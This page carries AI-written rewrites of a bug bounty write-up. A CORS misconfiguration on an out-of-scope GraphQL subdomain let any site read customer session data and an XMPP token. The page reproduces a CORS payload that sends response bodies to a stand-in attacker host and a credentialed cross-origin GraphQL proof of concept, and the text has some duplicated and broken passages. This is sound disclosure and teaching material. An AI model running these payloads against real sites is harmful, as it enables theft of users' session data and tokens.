Skip to content
CORS Write-up Intermediate

CORS Misconfig on Out of scope domain Bug Bounty Writeup (300 USD Reward )

A service worker on the in-scope app sent cookies and confidential data to an out-of-scope subdomain that had a CORS misconfiguration, allowing any site to read that data. The attacker could use a GraphQL request with credentials to retrieve sensitive customer session information.

Eagle_92 Follow

Published on jowin922.medium.com

Bounty$300 View original

I got an invite to a bug bounty program, the scope of the testing was on app.redacted.com While checking and understanding the login process of the app. I found a CORS vulnerability.

jowin922, on jowin922.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

The target was a bug bounty program whose in-scope application was app.redacted.com. The researcher, Eagle_92, was invited to the program and, while checking and understanding the application's login process, found the vulnerability. While doing that, they found a CORS vulnerability that did not sit on the in-scope host itself but on a separate domain, vuln-subdomain.com, which the in-scope application loaded and sent data to.

After a successful login, the application loaded a JavaScript file at /vuln-subdomain/sw.js. That script sent all the cookies and confidential data to vuln-subdomain.com through a GET request, where it was stored. The domain vuln-subdomain.com had a CORS misconfiguration, so random sites were able to read data from it. Because the in-scope domain app.redacted.com sent confidential data and cookies to that domain, the in-scope application became vulnerable as a consequence. The vulnerable subdomain also ran GraphQL, and sending a GraphQL payload through CORS returned sensitive data.

Setup

The report does not describe any accounts, roles, tool versions or other preconditions beyond the invitation to the program and the in-scope host app.redacted.com.

Finding it

The researcher was checking and understanding the login process of the app. After login succeeded, they noticed that /vuln-subdomain/sw.js was loading and sending all cookies and confidential data to vuln-subdomain.com via a GET request, where it was stored. Looking at that destination domain, they found it had a CORS misconfiguration that let random sites read data from it. Since the in-scope application was the one sending confidential data and cookies there, the misconfiguration on the out-of-scope domain turned into a vulnerability affecting the in-scope application. The domain also exposed GraphQL, and a GraphQL payload sent through CORS returned sensitive data.

Exploitation

Step 1: Try the standard CORS payload

The researcher first tried the normal CORS payload from PayloadsAllTheThings:

JavaScript
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://victim.example.com/endpoint',true); req.withCredentials = true;req.send();function reqListener() {    location='//atttacker.net/log?key='+this.responseText; };

This payload opens a GET request to the victim endpoint with credentials, and in the load handler redirects the browser to an attacker-controlled host with the response body appended as a query parameter, which is the usual way to exfiltrate a cross-origin read.

It did not work in this case. The researcher investigated why. The output here came from GraphQL on the vulnerable subdomain, and the payload seemed not to work because the response was not synchronous: there was a delay before the response came back. The payload seemed not to work because the response was not synchronous: there was a delay before the response came back.

Step 2: Build a proof of concept that handles the delay

After some searching, the researcher came up with the following proof of concept, which successfully read data from vuln-subdomain.com:

JavaScript
var createCORSRequest = function(method, url) {  var xhr = new XMLHttpRequest();  if ("withCredentials" in xhr) {    // Most browsers.    xhr.open(method, url, false);    xhr.onreadystatechange = function() {    if (xhr.readyState == XMLHttpRequest.DONE) {var respons = JSON.parse(JSON.stringify(xhr.responseText))alert(respons);    }}  } else if (typeof XDomainRequest != "undefined") {    // IE8 & IE9    xhr = new XDomainRequest();    xhr.open(method, url);  } else {    // CORS not supported.    xhr = null;  }  return xhr;};var url = 'https://vuln-subdomain.com/redacted-backend/graphql';var method = 'POST';var xhr = createCORSRequest(method, url);xhr.onload = function() {  // Success code goes here.};xhr.onerror = function() {  // Error code goes here.};xhr.withCredentials = true;xhr.send('{"operationName":"GetCurrentCustomerSession","variables":{},"query":"query GetCurrentCustomerSession {\n  getCurrentCustomerSession {\n    chatSession {\n      ...FragmentChatSession\n      __typename\n    }\n    enableRating\n    xmppUser {\n      id\n      username\n      token\n      host\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment FragmentChatSession on ChatSession {\n  id\n  sessionId\n  userCustomer {\n    id\n    name\n    email\n    phoneNumber\n    gender\n    userType {\n      type\n      __typename\n    }\n    comment\n    commentedBy {\n      name\n      __typename\n    }\n    __typename\n  }\n  userBCA {\n    username\n    name\n     {\n      id\n      username\n      host\n      __typename\n    }\n    __typename\n  }\n  chatType {\n    typeName\n    __typename\n  }\n  chatReason {\n    reasonName\n    __typename\n  }\n  sessionSentiment {\n    sentimentType\n    __typename\n  }\n  skill {\n    name\n    published\n    __typename\n  }\n  sessionCategories {\n    categoryName\n    __typename\n  }    }\n}');

The important parts:

  1. createCORSRequest builds an XMLHttpRequest when withCredentials is supported, which covers most browsers. It opens the request with xhr.open(method, url, false), a synchronous request, and attaches an onreadystatechange handler that fires when readyState reaches XMLHttpRequest.DONE. At that point it stringifies and parses xhr.responseText and shows it with alert, which demonstrates that the cross-origin response body is readable.
  2. For IE8 and IE9 it falls back to XDomainRequest, and if neither is available it sets xhr to null.
  3. The request goes to https://vuln-subdomain.com/redacted-backend/graphql with method POST.
  4. xhr.withCredentials = true makes the browser send the victim's cookies with the cross-origin request, which is what turns the CORS misconfiguration into a data leak.
  5. The body is a GraphQL operation named GetCurrentCustomerSession. It queries getCurrentCustomerSession, which returns a chatSession (spread from FragmentChatSession), enableRating, and an xmppUser with id, username, token and host. The FragmentChatSession fragment pulls the session id and sessionId, the userCustomer fields (id, name, email, phoneNumber, gender, userType, comment, commentedBy), a userBCA block with username, name, and a nested selection of id, username and host, plus chatType, chatReason, sessionSentiment, skill and sessionCategories.

With this request the researcher was able to read data from vuln-subdomain.com across origins, including the customer session details and the XMPP user token returned by the GraphQL query.

The program awarded a 300 USD bounty for finding this vulnerability.

Root cause

The mistake is a CORS misconfiguration on vuln-subdomain.com: the domain allowed random sites to read its responses, so a page on any origin could issue credentialed requests and read the result. The in-scope application made the exposure meaningful because, after login, /vuln-subdomain/sw.js sent all cookies and confidential data to that domain through a GET request, where it was stored. The GraphQL endpoint on the same domain then returned sensitive data to cross-origin callers. The standard CORS payload seemed not to work because the GraphQL response was not synchronous; the researcher's own proof of concept successfully read data from vuln-subdomain.com.

Impact

A cross-origin page could read data from vuln-subdomain.com with the user's credentials, as the proof of concept demonstrated. including the customer session information and the XMPP user token returned by the GetCurrentCustomerSession query. Because the in-scope application sends cookies and confidential data to that domain after login, the exposure extends to the in-scope application's users. The report does not describe any further conditions, such as which browsers or cookie attributes were required.

Fix

Variants to test

  1. Look for third-party scripts and service workers loaded after login, such as /vuln-subdomain/sw.js, and check where they send cookies and data. A positive result is a request carrying session cookies or confidential data to a domain outside the application's control.
  2. Test CORS on those third-party domains with a credentialed cross-origin request. A positive result is a response body from the third-party domain that a page on another origin can read.
  3. When the standard CORS payload fails, check whether the endpoint is GraphQL or otherwise slow. A positive result is the same data coming back when the request is made synchronously or the handler waits for readyState == XMLHttpRequest.DONE.
  4. Send a GraphQL session query through the cross-origin request. A positive result is sensitive fields such as user details or tokens appearing in the response body.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A security researcher called Eagle_92 was invited to a bug bounty program. A bug bounty program is a scheme run by a company that pays people for finding security problems in its systems and reporting them privately instead of exploiting them. The scope of the testing was app.redacted.com. That list of allowed targets is called the scope, and anything outside it is out of scope.

The researcher started by simply watching how the application's login worked, the way you might watch a shop assistant to understand how a till is operated. During that, they noticed something odd. After a successful login, the application loaded a JavaScript file at /vuln-subdomain/sw.js, and that script sent all the cookies and confidential data to vuln-subdomain.com, where it was stored.

That other domain had a CORS misconfiguration. CORS stands for Cross-Origin Resource Sharing, and it is the set of rules a website uses to tell browsers which other websites are allowed to read its responses. A misconfiguration means those rules are too loose, so random sites could read the data. Because the in-scope application was the one sending cookies and confidential data to that loose domain, the in-scope application became vulnerable too, even though the flaw itself lived on a domain outside the scope.

The loose domain also ran GraphQL, a way of asking a server for exactly the data you want in a single request. Sending a GraphQL request through the misconfigured CORS returned sensitive data.

The ideas you need first

Before the steps make sense, here are the building blocks, each with a plain comparison.

  • Cookie: a small piece of text a website asks your browser to store and send back on every later request. Think of it as the wristband you get at a festival: you show it once at the gate, and after that staff recognise you without asking for your ID again. If someone else gets your wristband, they can walk around as you.
  • Token: a similar secret, usually a long string, that proves who you are or grants access to something. Think of a cloakroom ticket: whoever holds the ticket can collect the coat.
  • JavaScript: the programming language that runs inside your browser and makes web pages interactive. A file ending in .js is a script written in it.
  • Service worker (sw.js): a script a website can register in your browser to run in the background. The name sw.js is a common convention for one. Think of it as a helper the site installs in your browser that keeps working even when you are not looking at the page.
  • GET request: the simplest kind of request a browser makes to a server, used to ask for something. The details of what you are asking for are visible in the address (the URL). Think of it as a postcard: anyone handling it can read what is written on it.
  • POST request: a request that carries a body of data to the server, used when you are submitting something. Think of it as a sealed envelope with a form inside.
  • API: an interface a program exposes so other programs can talk to it, without a human clicking buttons. Think of a restaurant menu: you do not walk into the kitchen, you order from a fixed list and the kitchen sends back a dish.
  • GraphQL: a style of API where the client sends a description of exactly which fields it wants, and the server returns just those. Think of a form where you tick the boxes for the information you need, rather than accepting a fixed set meal.
  • CORS: the browser rule that decides whether a page from one website may read a response from another website. By default the browser blocks that read. A server can opt in by sending special headers that say which other sites are allowed.
  • Origin: the combination of scheme, host and port, for example https://app.redacted.com. Two pages with different origins are treated as strangers to each other by the browser.
  • Credentials: in this context, the cookies and other identity data the browser attaches to a request so the server knows who you are.
  • Cross-origin read: reading a response from a different origin than the page you are on. This is exactly what CORS is designed to control.
  • Exfiltration: getting data out of a place and into somewhere the attacker controls.
  • Synchronous vs asynchronous: a synchronous request makes the browser wait until the answer arrives before doing anything else. An asynchronous request lets the page carry on and calls you back later when the answer is ready. Think of a phone call you wait on versus leaving a message and being rung back.

Finding it

The researcher was checking and understanding the login process of the app. After login succeeded, they noticed that /vuln-subdomain/sw.js was loading and sending all cookies and confidential data to vuln-subdomain.com via a GET request, where it was stored.

Why does this matter? The data was sent to a domain outside the in-scope application, where it was stored.

Looking at that destination domain, the researcher found it had a CORS misconfiguration that let random sites read data from it. Since the in-scope application was the one sending confidential data and cookies there, the misconfiguration on the out-of-scope domain turned into a vulnerability affecting the in-scope application. The domain also exposed GraphQL, and a GraphQL payload sent through CORS returned sensitive data.

Exploitation

Step 1: Try the standard CORS payload

The researcher first tried the normal CORS payload from PayloadsAllTheThings, a well-known public collection of test payloads:

JavaScript
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://victim.example.com/endpoint',true); req.withCredentials = true;req.send();function reqListener() {    location='//atttacker.net/log?key='+this.responseText; };

Line by line, in plain words:

  1. var req = new XMLHttpRequest(); creates an XMLHttpRequest object. This is the browser's built-in tool for making requests from JavaScript without reloading the page.
  2. req.onload = reqListener; says: when the request finishes, call the function named reqListener.
  3. req.open('get','https://victim.example.com/endpoint',true); prepares a GET request to the victim's endpoint. The final true means asynchronous: do not freeze the page while waiting.
  4. req.withCredentials = true; tells the browser to attach the user's cookies to this cross-origin request. Without this, the server would not know who is asking.
  5. req.send(); actually sends it.
  6. function reqListener() { location='//atttacker.net/log?key='+this.responseText; }; is the callback. When the response arrives, it navigates the browser to an attacker-controlled address and appends the response body as a query parameter called key. That is the exfiltration step: the stolen data ends up in the attacker's web server logs.

This payload opens a GET request to the victim endpoint with credentials, and in the load handler redirects the browser to an attacker-controlled host with the response body appended as a query parameter, which is the usual way to exfiltrate a cross-origin read.

It did not work in this case. The researcher investigated why. The output here came from GraphQL on the vulnerable subdomain, and the payload seemed not to work because the response was not synchronous: there was a delay before the response came back. The payload seemed not to work because the response was not synchronous: there was a delay before the response came back.

In everyday terms: the GraphQL server took a moment to answer, and the standard payload did not cope with that delay.

Step 2: Build a proof of concept that handles the delay

After some searching, the researcher came up with the following proof of concept, which successfully read data from vuln-subdomain.com:

JavaScript
var createCORSRequest = function(method, url) {  var xhr = new XMLHttpRequest();  if ("withCredentials" in xhr) {    // Most browsers.    xhr.open(method, url, false);    xhr.onreadystatechange = function() {    if (xhr.readyState == XMLHttpRequest.DONE) {var respons = JSON.parse(JSON.stringify(xhr.responseText))alert(respons);    }}  } else if (typeof XDomainRequest != "undefined") {    // IE8 & IE9    xhr = new XDomainRequest();    xhr.open(method, url);  } else {    // CORS not supported.    xhr = null;  }  return xhr;};var url = 'https://vuln-subdomain.com/redacted-backend/graphql';var method = 'POST';var xhr = createCORSRequest(method, url);xhr.onload = function() {  // Success code goes here.};xhr.onerror = function() {  // Error code goes here.};xhr.withCredentials = true;xhr.send('{"operationName":"GetCurrentCustomerSession","variables":{},"query":"query GetCurrentCustomerSession {\n  getCurrentCustomerSession {\n    chatSession {\n      ...FragmentChatSession\n      __typename\n    }\n    enableRating\n    xmppUser {\n      id\n      username\n      token\n      host\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment FragmentChatSession on ChatSession {\n  id\n  sessionId\n  userCustomer {\n    id\n    name\n    email\n    phoneNumber\n    gender\n    userType {\n      type\n      __typename\n    }\n    comment\n    commentedBy {\n      name\n      __typename\n    }\n    __typename\n  }\n  userBCA {\n    username\n    name\n     {\n      id\n      username\n      host\n      __typename\n    }\n    __typename\n  }\n  chatType {\n    typeName\n    __typename\n  }\n  chatReason {\n    reasonName\n    __typename\n  }\n  sessionSentiment {\n    sentimentType\n    __typename\n  }\n  skill {\n    name\n    published\n    __typename\n  }\n  sessionCategories {\n    categoryName\n    __typename\n  }    }\n}');

The important parts:

  1. createCORSRequest builds an XMLHttpRequest when withCredentials is supported, which covers most browsers. It opens the request with xhr.open(method, url, false), a synchronous request, and attaches an onreadystatechange handler that fires when readyState reaches XMLHttpRequest.DONE. At that point it stringifies and parses xhr.responseText and shows it with alert, which demonstrates that the cross-origin response body is readable.
  2. For IE8 and IE9 it falls back to XDomainRequest, and if neither is available it sets xhr to null.
  3. The request goes to https://vuln-subdomain.com/redacted-backend/graphql with method POST.
  4. xhr.withCredentials = true makes the browser send the victim's cookies with the cross-origin request, which is what turns the CORS misconfiguration into a data leak.
  5. The body is a GraphQL operation named GetCurrentCustomerSession. It queries getCurrentCustomerSession, which returns a chatSession (spread from FragmentChatSession), enableRating, and an xmppUser with id, username, token and host. The FragmentChatSession fragment pulls the session id and sessionId, the userCustomer fields (id, name, email, phoneNumber, gender, userType, comment, commentedBy), a userBCA block with username, name, and a nested selection of id, username and host, plus chatType, chatReason, sessionSentiment, skill and sessionCategories.

In plain words, the new script does three things differently from the standard payload:

  • It uses xhr.open(method, url, false). The false means synchronous: the browser waits until the answer is fully back before continuing. That is the fix for the delay problem. It is like staying on the phone until the other person finishes speaking instead of hanging up after one ring.
  • It listens with onreadystatechange and only acts when readyState == XMLHttpRequest.DONE, which is the browser's way of saying the request has completely finished. This is a more patient listener than onload.
  • It sends a POST request with a GraphQL body instead of a GET request.

The alert(respons) line pops up the response text on screen. For a demonstration, that is enough: if the text appears, the browser allowed a cross-origin page to read the data, which is the whole point of the bug.

The GraphQL body itself is a request for a customer session. It asks for the chat session, whether rating is enabled, and an XMPP user record including its token. XMPP is a messaging protocol, and the query asks for an XMPP user record including its token. The fragment then asks for the customer's identity details, including name, email and phone number, along with chat type, reason, sentiment, skill and categories. In short, it asks for customer identity details and session information.

With this request the researcher was able to read data from vuln-subdomain.com across origins, including the customer session details and the XMPP user token returned by the GraphQL query.

The program awarded a 300 USD bounty for finding this vulnerability.

Root cause

The mistake is a CORS misconfiguration on vuln-subdomain.com: the domain allowed random sites to read its responses, so a page on any origin could issue credentialed requests and read the result. The in-scope application made the exposure meaningful because, after login, /vuln-subdomain/sw.js sent all cookies and confidential data to that domain through a GET request, where it was stored. The GraphQL endpoint on the same domain then returned sensitive data to cross-origin callers. The standard CORS payload seemed not to work because the GraphQL response was not synchronous; the researcher's own proof of concept successfully read data from vuln-subdomain.com.

A useful comparison: the loose CORS policy is like a library that lets anyone walk in and read any file, as long as they show a membership card. The membership card is the cookie.

Impact

A cross-origin page could read data from vuln-subdomain.com with the user's credentials, as the proof of concept demonstrated. including the customer session information and the XMPP user token returned by the GetCurrentCustomerSession query. Because the in-scope application sends cookies and confidential data to that domain after login, the exposure extends to the in-scope application's users. The report does not describe any further conditions, such as which browsers or cookie attributes were required.

Fix

The report does not say what was changed.

Variants to test

If you want to look for something similar on a site you are allowed to test, these are the checks to try, in order:

  1. Look for third-party scripts and service workers loaded after login, such as /vuln-subdomain/sw.js, and check where they send cookies and data. A positive result is a request carrying session cookies or confidential data to a domain outside the application's control.
  2. Test CORS on those third-party domains with a credentialed cross-origin request. A positive result is a response body from the third-party domain that a page on another origin can read.
  3. When the standard CORS payload fails, check whether the endpoint is GraphQL or otherwise slow. A positive result is the same data coming back when the request is made synchronously or the handler waits for readyState == XMLHttpRequest.DONE.
  4. Send a GraphQL session query through the cross-origin request. A positive result is sensitive fields such as user details or tokens appearing in the response body.

Glossary

  • API: an interface that lets one program ask another for data or actions, without a human clicking through a page.
  • Asynchronous: a request that lets the page carry on working and calls you back when the answer is ready.
  • Bug bounty program: a scheme where a company pays researchers for reporting security flaws privately.
  • Cookie: a small piece of text stored by the browser and sent back to a site on later requests, used to recognise you.
  • CORS (Cross-Origin Resource Sharing): the browser rule and server headers that decide whether one website may read another website's response.
  • CORS misconfiguration: a CORS policy that is too permissive, letting untrusted websites read responses.
  • Credentials: the cookies and identity data the browser attaches to a request so the server knows who is asking.
  • Exfiltration: moving data out of a system to a place the attacker controls.
  • GET request: a simple request that asks for something, with the details visible in the URL.
  • GraphQL: an API style where the client describes exactly which fields it wants and the server returns those.
  • JavaScript: the programming language that runs in the browser and makes pages interactive.
  • Origin: the combination of scheme, host and port, such as https://app.redacted.com.
  • Out of scope: a target that is not covered by the program's permission to test.
  • Payload: the piece of code or data sent to a target to test or demonstrate a vulnerability.
  • POST request: a request that carries a body of data to the server, used for submitting something.
  • Proof of concept (POC): a small working demonstration that a vulnerability is real.
  • Scope: the list of targets a program allows researchers to test.
  • Service worker: a script a site registers in the browser to run in the background.
  • Synchronous: a request that makes the browser wait until the answer arrives before continuing.
  • Token: a secret string that proves identity or grants access to something.
  • XMPP: a messaging protocol used for chat.
  • XMLHttpRequest: the browser's built-in JavaScript object for making requests without reloading the page.

More by Eagle_92

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

CORS misconfiguration

The lesson behind this report.

A permissive cross-origin policy lets another site read responses with the user's credentials.